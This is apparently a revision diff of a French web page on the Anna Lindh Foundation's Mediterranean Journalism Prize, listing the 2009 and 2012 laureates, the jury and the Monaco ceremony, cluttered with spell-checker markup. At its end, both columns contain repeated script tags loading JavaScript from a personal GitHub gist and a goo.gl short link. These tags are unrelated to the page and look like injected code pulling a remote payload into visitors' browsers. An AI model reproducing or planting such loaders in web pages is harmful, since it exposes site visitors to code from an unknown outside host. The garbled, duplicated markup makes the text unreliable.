Content |
<p> | | <p> |
Le Prix est la compétition de référence, à l’échelle régionale, pour les journalistes spécialisés dans les questions liées à la diversité culturelle. Les productions journalistiques sont sélectionnées par un jury international comprenant des intellectuels et des experts des médias, reconnus au niveau mondial.<br /> | | Le Prix du <span data-scayt_word= "Journalisme" data-scaytid= "1">Journalisme</span> <span data-scayt_word= "Méditerranéen" data-scaytid= "2">Mé diterranéen</span> <span data-scayt_word="dea" data-scaytid= "3">dea</span> <span data-scayt_word="Fondation" data-scaytid= "4">Fondation</span> Anna <span data-scayt_word="Lindh" data-scaytid= "6">Lindh</span> vise <span data-scayt_word="à " data-scaytid= "8">à</span> <span data-scayt_word= "promouvoir" data-scaytid= "9">promouvoir</span> le <span data-scayt_word="rôle" data-scaytid= "10">rôle</span> <span data-scayt_word="positif" data-scaytid= "11">positif</span> qui <span data-scayt_word="pourrait" data-scaytid= "12">pourrait</span> <span data-scayt_word="être" data-scaytid= "13">être</span> <span data-scayt_word="joué" data-scaytid= "14">joué</span> par les <span data-scayt_word= "journalistes" data-scaytid= "15">journalistes</span> radio, <span data-scayt_word= "télé" data-scaytid= "16">té lé</span> et de la <span data-scayt_word="presse" data-scaytid= "17">presse</span> <span data-scayt_word="écrite" data-scaytid= "18">é crite</span> en <span data-scayt_word="créant" data-scaytid= "19">créant</span> un <span data-scayt_word="espace" data-scaytid= "20">espace</span> <span data-scayt_word= "partagé" data-scaytid= "21">partagé</span> <span data-scayt_word= "d’information" data-scaytid= "22">d’ information</span> et <span data-scayt_word= "d’opinion" data-scaytid= "23">d’ opinion</span> <span data-scayt_word="libres" data-scaytid= "24">libres</span> et <span data-scayt_word="fiables" data-scaytid= "25">fiables</span>. La <span data-scayt_word= "compétition" data-scaytid= "26">compé tition</span> <span data-scayt_word="est" data-scaytid= "27">est</span> <span data-scayt_word= "organisée" data-scaytid= "28">organisée</span> par la <span data-scayt_word="Fondation" data-scaytid= "5">Fondation</span> Anna <span data-scayt_word="Lindh" data-scaytid= "7">Lindh</span> en <span data-scayt_word= "partenariat" data-scaytid= "29">partenariat</span> <span data-scayt_word="média" data-scaytid= "30">média</span> <span data-scayt_word="avec" data-scaytid= "31">avec</span> la <span data-scayt_word="COPEAM" data-scaytid= "32">COPEAM</span>.<br /> |
<br /> | | <br /> |
Pour l’édition 2009, les récompenses attribuées sont aux catégories suivantes: (1) Un Prix pour la la Presse écrite ; (2) Un Prix pour les Blogs ; (3) Un Prix pour les Productions radiophoniques ; (4) Un Prix pour les Productions télé visées ; et enfin (5) Une Mention Spéciale pour les reportages en zone de conflits.<br /> | | |
<br /> | | |
La Mention Spéciale pour les "Reportages en zone de Conflits" a été incluse dans l’édition 2009 au lendemain de l’opération militaire de Gaza et au vu des différents événements ayant affecté la région méditerranéenne au commencement de l’année, saluant ainsi le travail difficile des journalistes sur les couvertures de conflits.<br /> | | <u><span style="color: rgb(0,0,205)"><strong><a href="http:// www.euromedalex.org/fr" style="color: rgb(0,0,205)">En savoir plus <span data-scayt_word="sur" data-scaytid= "104">sur</span> la <span data-scayt_word="Fondation" data-scaytid= "65">Fondation</span> Anna <span data-scayt_word="Lindh" data-scaytid= "67">Lindh</span> </a></strong> </span></u></p> |
<br /> | | |
Les lauréats du Prix Méditerranéen de Journalisme sont récompensés lors d’une cérémonie de remise de prix internationale, participent à une circuit régionale de reportage de grande envergure, et reçoivent un prix en numéraire pour récompenser leur travail journalistique.</p> | | |
<p> | | <p> |
<span style="color: rgb(0, 100, 0);"><strong> Annoncé les vainqueurs du Prix du Journalisme Méditerranéen 2009 </strong></span><br />
| | <span style="font-size: 14px"><span style="color: rgb(0,100,0)"><strong>A LA <span data-scayt_word="UNE" data-scaytid= "109">UNE</span></strong> </span></span></p>
|
<em>Rome, 14 Septembre 2009 </em></p> | | |
<p> | | <p> |
Présidé par André Azoulay, Président de la Fondation Annah Lindh, et mené par le renommé écrivain libanais Amin Maalouf, le Jury de l’édition 2009 du Prix du Journalisme Méditerranéen de la FAL s’est réuni à Rome le 14 septembre pour choisir les vainqueurs de l’édition 2009 du prix.</p> | | <strong><span data-scayt_word="COPEAM" data-scaytid= "69">COPEAM</span> for... le Prix <span data-scayt_word= "Méditerranéen" data-scaytid= "70">Mé diterranéen</span> du <span data-scayt_word= "Journalisme" data-scaytid= "71">Journalisme</span> 2012 de la <span data-scayt_word="Fondation" data-scaytid= "66">Fondation</span> Anna <span data-scayt_word="Lindh" data-scaytid= "68">Lindh</span> </strong></p> |
<p> | | <p> |
| | La <span data-scayt_word="COPEAM" data-scaytid= "113">COPEAM</span>, <span data-scayt_word= "partenaire" data-scaytid= "119">partenaire</span> <span data-scayt_word="média" data-scaytid= "114">média</span> du Prix <span data-scayt_word= "Méditerranéen" data-scaytid= "115">Mé diterranéen</span> du <span data-scayt_word= "Journalisme" data-scaytid= "116">Journalisme</span> et <span data-scayt_word="membre" data-scaytid= "123">membre</span> du Jury international, a <span data-scayt_word= "participé" data-scaytid= "124">participé</span> <span data-scayt_word="à " data-scaytid= "117">à</span> la <span data-scayt_word= "sélection" data-scaytid= "126">sé lection</span> des <span data-scayt_word= "Å“uvres" data-scaytid= "127">œ uvres</span> <span data-scayt_word="gagnantes" data-scaytid= "128">gagnantes</span> de <span data-scayt_word= "l’édition" data-scaytid= "129">l’ édition</span> 2012.<br /> |
| | Les <span data-scayt_word="gagneurs" data-scaytid= "132">gagneurs</span>, <span data-scayt_word= "annoncés" data-scaytid= "133">annoncés</span> par le Jury <span data-scayt_word= "présidé" data-scaytid= "134">pré sidé</span> par Edgar Morin, le 18 <span data-scayt_word="octobre" data-scaytid= "135">octobre</span> <span data-scayt_word="à " data-scaytid= "130">à</span> Berlin, <span data-scayt_word="sont" data-scaytid= "137">sont</span> :<br /> |
| | <br /> |
| | • <strong><span data-scayt_word="Presse" data-scaytid= "138">Presse</span> <span data-scayt_word="écrite" data-scaytid= "131">é crite</span> </strong><br /> |
| | - <strong>Mona <span data-scayt_word="Abouissa" data-scaytid= "140">Abouissa< /span></strong> (Egypt), ''Les <span data-scayt_word="Choristes" data-scaytid= "141">Choristes</span> <span data-scayt_word="d'Allah" data-scaytid= "142">d'Allah< /span>'', Le <span data-scayt_word="Monde" data-scaytid= "143">Monde</span> <span data-scayt_word= "Diplomatique" data-scaytid= "144">Diplomatique</span>.<br /> |
| | - <span data-scayt_word="Une" data-scaytid= "145">Une</span> <strong>Mention <span data-scayt_word= "Spéciale" data-scaytid= "146">Spé ciale</span></strong> <span data-scayt_word="à " data-scaytid= "147">à</span> <span data-scayt_word="été" data-scaytid= "151">é té</span> <span data-scayt_word= "attribuée" data-scaytid= "152">attribuée</span> <span data-scayt_word="à " data-scaytid= "148">à</span> <em><span data-scayt_word="Witold" data-scaytid= "153">Witold</span> <span data-scayt_word= "Szablowski" data-scaytid= "154">Szablowski</span></em> (Poland), ''Let Us In, You Bastards!'', <span data-scayt_word="Gazeta" data-scaytid= "155">Gazeta</span> <span data-scayt_word="Wyborcza" data-scaytid= "156">Wyborcza</span>.<br /> |
| | <br /> |
| | •<strong> <span data-scayt_word="Nouvelles" data-scaytid= "157">Nouvelles</span> <span data-scayt_word="Médias" data-scaytid= "158">Médias</span> </strong><br /> |
| | - <em><span data-scayt_word="Haggai" data-scaytid= "159">Haggai</span> <span data-scayt_word="Matar" data-scaytid= "160">Matar</span> </em>( <span data-scayt_word="Israël" data-scaytid= "161">Israël</span> ), ''The Wall: 10 Years On'', 972mag.com<br /> |
Les vainqueurs du Prix, qui est une récompense régionale pour les journalistes spécialisés dans les questions liées à la diversité culturelle, organisé par la FAL en collaboration avec la COPEAM, seront présentés officiellement à l’occasion d’une prestigieuse Cérémonie le 5 novembre prochain à Monaco.</p> | | - <em>Sophie <span data-scayt_word="Chamas" data-scaytid= "162">Chamas</span> (</em><span data-scayt_word="Liban" data-scaytid= "163">Liban</span>), ''...Ani Mi <span data-scayt_word="Levanon" data-scaytid= "164">Levanon</span>: Smiling Through Hebrew Class", Mashallahnews.com<br /> |
<p> | | |
André Azoulay s’est exprimé en ces termes à l’ouverture de la réunion : « Les médias jouent aujourd’hui un rôle plus important que jamais en termes de façonnage des perceptions à travers l’espace méditerranéen, un contexte dans lequel les journalistes ont une responsabilité accrue de travailler sur les complexités des sujets liés à la diversité culturelle de cet espace. »</p> | | |
<p> | | |
| | <br /> |
| | • <strong>Productions radio</strong><br /> |
| | - <em><span data-scayt_word="Sakr" data-scaytid= "166">Sakr</span> Al <span data-scayt_word="Makhadhi" data-scaytid= "167">Makhadhi< /span></em>, (UK), ''Understanding Syria", BBC Radio 2<br /> |
| | <br /> |
| | • <strong>Productions <span data-scayt_word= "télé" data-scaytid= "165">télé< /span></strong><br /> |
| | - <em><span data-scayt_word="Jaume" data-scaytid= "169">Jaume</span> <span data-scayt_word="Bartroli" data-scaytid= "170">Bartroli</span>, Ramon <span data-scayt_word="Valles" data-scaytid= "171">Valles</span>, et Silvia <span data-scayt_word="Paoro" data-scaytid= "172">Paoro</span></em>, (<span data-scayt_word="Espagne" data-scaytid= "173">Espagne</span>), ''Where Are You From?'', <span data-scayt_word="Televisio" data-scaytid= "174">Televisio</span> De <span data-scayt_word="Catalunya" data-scaytid= "175">Catalunya</span> 3.<br /> |
| | - <span data-scayt_word="Une" data-scaytid= "176">Une</span> <strong>Mention <span data-scayt_word= "Spéciale" data-scaytid= "177">Spé ciale</span></strong> <span data-scayt_word="à " data-scaytid= "178">à</span> <span data-scayt_word="été" data-scaytid= "180">é té</span> <span data-scayt_word= "attribuée" data-scaytid= "181">attribuée</span> <span data-scayt_word="à " data-scaytid= "179">à</span> <em><span data-scayt_word="Karim" data-scaytid= "190">Karim</span> El <span data-scayt_word="Shenaoui" data-scaytid= "191">Shenaoui</span></em> (Egypt), <span data-scayt_word= "‘’Salafi’’" data-scaytid= "192">‘ ’Salafi’ ’</span>, BBC Arabic.<br /> |
| | <br /> |
| | • <strong>Prix <span data-scayt_word= "spécial" data-scaytid= "193">spécial</span> <span data-scayt_word="sur" data-scaytid= "182">sur</span> ’’Le <span data-scayt_word="rôle" data-scaytid= "183">rôle</span> de la <span data-scayt_word= "société" data-scaytid= "196">socié té</span> <span data-scayt_word="civile" data-scaytid= "197">civile</span> <span data-scayt_word="dans" data-scaytid= "198">dans</span> la construction des <span data-scayt_word= "démocraties" data-scaytid= "199">dé mocraties</span> et <span data-scayt_word= "sociétés" data-scaytid= "200">socié tés</span> <span data-scayt_word= "pluralistes’’" data-scaytid= "201">pluralistes’’ </span></strong><br /> |
Amin Maalouf a commenté : « Ce qui marque le travail des médias réunis à travers le Prix de cette année, c’est leur qualité professionnelle mais aussi leur qualité éthique, la capacité de chaque journaliste à être prêt à s’attaquer à des problèmes difficiles et à explorer en profondeur les questions critiques, afin de réduire le fossé entre les perceptions communes. »</p> | | - <em>Francesca <span data-scayt_word="Caferri" data-scaytid= "202">Caferri</span></em> (<span data-scayt_word="Italie" data-scaytid= "203">Italie</span>), ''The Paradise at Women's Feet'', La <span data-scayt_word= "Repubblica" data-scaytid= "204">Repubblica</span> et <span data-scayt_word="Mondadori" data-scaytid= "205">Mondadori</span>.<br /> |
<p>
| | </p>
|
<strong>Les vainqueurs officiels de l’édition 2009 du Prix du Journalisme sont </strong></p> | | |
<p> | | |
Alberto Arce (‘Conflict Reporting’) pour ‘A series of reports from Gaza’ (El Mundo Spain; Journaliste espagnol)<br /> | | |
Lisa Goldman (‘Conflict Background’) pour ‘What Israelis wanted to know about the war in Gaza’ (Columbia Journalist Review, Journaliste Israelienne)<br /> | | |
Ethar El-Katatney (‘Press’) pour ‘Identity Crisis’ (Egypt Today; Egyptian journalist)<br /> | | |
Chine Labbé (‘Radio’) pour ‘Exercer et produire le droit dans les territoires palestiniens: un combat continu’ (France-Culture; Journaliste Francais)<br /> | | |
Martin Traxi (‘TV Background’) pour ‘Balkan Express’ (ORF Austrian Radio and TV ; Journaliste Autrichien)<br /> | | |
Ennio Remondino (‘TV Documentary’) pour ‘I popoli Dell’Arca’ (RAI; Journaliste Italien)<br /> | | |
ELAPH (‘Special mention for new media’) – Média arabe basé au RU.</p> | | |
<p> | | <p> |
<strong>Le Jury de l’édition 2009 du Prix du Journalisme</strong></p> | | </p> |
<p> | | <p> |
Amin Maalouf (Président du Jury)</p> | | </p> |
<p> | | <p> |
| | <span style="color: rgb(0,100,0)" ><strong>LIENS <span data-scayt_word="UTILES" data-scaytid= "206">UTILES< /span></strong></span></p> |
| | <table border="0" cellpadding="1" cellspacing="1" style="width: 220px; height: 213px"> |
| | <tbody> |
| | <tr> |
| | </tr> |
| | <tr> |
| | <td> |
| | <a href="http:// www.euromedalex.org/fr/fields/ activites-medias/prix-du- journalisme/a- propos-du-prix"><img alt="" src="../../userfiles/ image/Journalist%20Award%20Logo_0.png" style="width: 205px; height: 64px" /></a></td> |
| | <td> |
| | </td> |
| | </tr> |
| | <tr> |
| | <td> |
| | <a href="http:// www.euromedalex.org/fr"><img alt="" src="../../userfiles/ image/Annalindh.jpg" style="width: 61px; height: 74px" /></a></td> |
| | <td> |
| | </td> |
| | </tr> |
| | <tr> |
| | <td> |
| | </td> |
| | </tr> |
Members of the Jury:<br /> | | </tbody> |
David Gardner (Financial Times)<br /> | | |
Jean Luis Cebrian (Prisa Group)<br /> | | |
Hala Hashish (Egyptian Satellite TV)<br /> | | |
Alessandra Paradisi (COPEAM)<br /> | | |
Jean Réveillon (EBU)<br /> | | </table> |
Lucian Sarb (Euronews)<br /> | | |
| | <div class="follow_ up"></div><p><strong><br /> |
| | MONACO ACCUEILLERA LE PRIX MEDITERRANEEN DE JOURNALISME</strong><br /> |
Rana Sabbagh (Arab Reporters for Investigative Journalism)</p> | | <em>Alexandrie / Monaco , 10 juin 2009</em><br /> |
| | <br /> |
| | André Azoulay, Président de la Fondation Anna Lindh, a scellé le partenariat avec la Principauté de Monaco pour que le Prix méditerranéen du journalisme soit remis à Monaco pour les trois prochaines éditions.<br /> |
| | <br /> |
| | S.A.S le Prince Albert II a d’ores et déjà annoncé qu’il assisterait à l’édition 2009 qui distinguera les meilleurs journalistes de l’espace euro-mé diterranéen et inclura un prix spécial pour le reportage des conflits, au lendemain de Gaza. <br /> |
| | <br /> |
| | La cérémonie aura lieu début novembre à Monaco. Pour son édition 2009, la compétition s’est étoffée en créant trois nouvelles catégories de prix pour y inclure la télévision, la radio, les médias électroniques, et un prix spécial pour le reportage des conflits, au lendemain de l’opération militaire sur Gaza.<br /> |
| | <strong><em><br /> |
| | <a href="http:// www.euromedalex.org/ fr/nouvelles/ monaco-accueillera-le-prix- m-diterran-en- de-journalisme">Pour plus d’informations, voir le communiqué de presse</a></em> </strong><br /> |
<script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// goo.gl/dd1kPI'></script>
| | </p> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// goo.gl/dd1kPI'></script>
|